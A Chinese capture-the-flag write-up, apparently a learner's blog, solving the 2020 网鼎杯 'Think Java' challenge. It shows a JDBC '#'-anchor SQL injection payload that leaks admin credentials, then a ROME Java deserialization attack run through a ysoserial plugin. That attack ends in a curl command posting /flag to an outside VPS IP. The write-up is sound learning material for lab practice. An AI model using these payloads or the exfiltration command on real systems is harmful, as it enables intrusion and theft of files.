一、网鼎杯 2020 朱雀组]Think Java
web访问下看下有什么东西:
直接登录显示无身份认证权限标示,没太看懂,听说有个工具叫做dirsearch可以扫web的目录,现学现用:
https://blog.csdn.net/Amdy_amdy/article/details/109522882
扫描一下:python3 dirsearch.py -u [http://235b227e-d059-48f3-a9c1-878e0a82b5ad.node4.buuoj.cn:81/](http://235b227e-d059-48f3-a9c1-878e0a82b5ad.node4.buuoj.cn:81/) -e *
感觉等了有5分钟才扫完,可能有一堆没用的东西……..
看下目录中扫出来的东西(新版的dirsearch好像会自动保存到reports目录中,根据host来命名):
本来想搜下login,发现个html,但是访问不了,麻了,跑去看了下wp,发现代码中有个这个玩意:
import io.swagger.annotations.ApiOperation;
看大佬们说的好像是个模板,直接用的,默认是有个/ ,没看懂,swagger是啥?了解下:
https://www.jianshu.com/p/349e130e40d5
看不懂就直接用好了,应该是靠经验得来的,慢慢积累吧:
这个目录用dirsearch也是能扫出来的:
这里看到还有三个不一样的文件,其中有个login,想着试试看:
大概就是封装好了发包和抓包的玩意,然后可以在线看response的东西,而我们需要填充的就是json格式的账号密码,但是现在不知道哇,看到有个sqlDict,应该要从这里获取到账号密码才行,发现是数据库的名字作为参数
看了下题目,然后还给了下一些.class文件,拿到IDEA分析下:
先看下test的代码逻辑:
这里我们可以拿到数据库的账号root和密码abc@12345,但是数据库名字是外部可控的输入,继续看sqldict:
这里连接完数据库后,会执行sql语句,并且没有预编译的存在而且存在命令拼接dbname等问题,这里很明显是存在sql注入漏洞的,怎么利用dbName进行操作就是考点了应该。
首先输入会在这里拼接:
然后在这里进行调用:
接着在sql语句中又被使用一次:
很显然如果我们直接在connection时就搞闭合+注释是不行的,会直接报错,虽然sql那里能用,但是压根过不了第一关,只能另谋出路,又看了下wp,说可以用#,又是知识盲区,麻了,#在url中表示锚链,啥是锚点和锚链?看张图了解下:
后面继续补知识:
https://www.zhangxinxu.com/wordpress/2013/08/url-anchor-html-%E9%94%9A%E7%82%B9%E5%AE%9A%E4%BD%8D%E6%9C%BA%E5%88%B6-%E5%BA%94%E7%94%A8-%E9%97%AE%E9%A2%98/
懂了,继续,也就是#在jdbc中无实际意义且#号后面的会被忽视,而?也是一样的,不过需要加个键值对,也就是我们可以这样构造payload:jdbc:mysql://localhost:3306/myapp?a=1' union select 1# jdbc:mysql://localhost:3306/myapp#' union select 1#
这样第一处和第二处的调用就可以解析清楚了:
jdbc:mysql://mysqldbserver:3306/myapp#’ union select 1# 会被解析成 jdbc:mysql://mysqldbserver:3306/myapp
再带入sql语句
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = ‘#’ union select 1#’ and table_name=’” + TableName + “‘
第一个#被单引号包裹。成了普通的#字符。第二个#注释掉了后面的语句。造成sql注入Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '#' union select 1
明白了这里的注入原理后,就好办了,我们这里需要做个账号密码的爆破工作,怎么爆破的别问,问就是不会23333,后面再看吧。。这里直接在swager里面贴了poc,发现有回显:
拿到账号admin,密码admin@Rrrr_ctf_asde,试着登录一下:
拿到了一串奇怪的字符串:Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
这玩意看起来像token的样子,放到current中看看:
还是不太懂这是啥,继续看wp看到一些合理的解释:
java反序列化
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。
而这段数据正好是rO0AB,意味着可以尝试反序列化。
现用base64解密了一下发现是类似序列化后的东东:
那就意味着可以进行反序列化的操作。
这里装了个插件:听说是专门打反序列漏洞用的
具体可以看这篇:https://www.anquanke.com/post/id/86594
然后需要配置下ysoserial.so这个库的路径:
使用方法也很简单,首先看到报文中有疑似反序列化的东东:
圈住右键发送到插件中
这里需要选中反序列化的那串字符串,然后set point,接着设置sleep方法,然后base64进行 encode,最后attack,静候即可,发现右键检测出来了:
是ROME类型的,rome可以命令执行,URLDNS可以进行dns回显。
准备写最后的payload时,发现自己好像没有vps,找人借了一个,然后继续整,把报文发送到EXP中
输入的payload如下:ROME "curl [http://101.33.211.155:5567](http://101.33.211.155:5567) -d @/flag"
最后attack一下:
在vps上监听,最后成功拿到flag
瞬间舒服了~
有待学习的两个点,一个是反序列化(这里直接用了现成的工具),一个是union的联合注入,这题考点还是挺多的,学习!
参考链接:
https://www.freebuf.com/vuls/176672.html
https://www.anquanke.com/post/id/86594
https://syunaht.com/p/701889044.html
https://www.cnblogs.com/h3zh1/p/12914439.html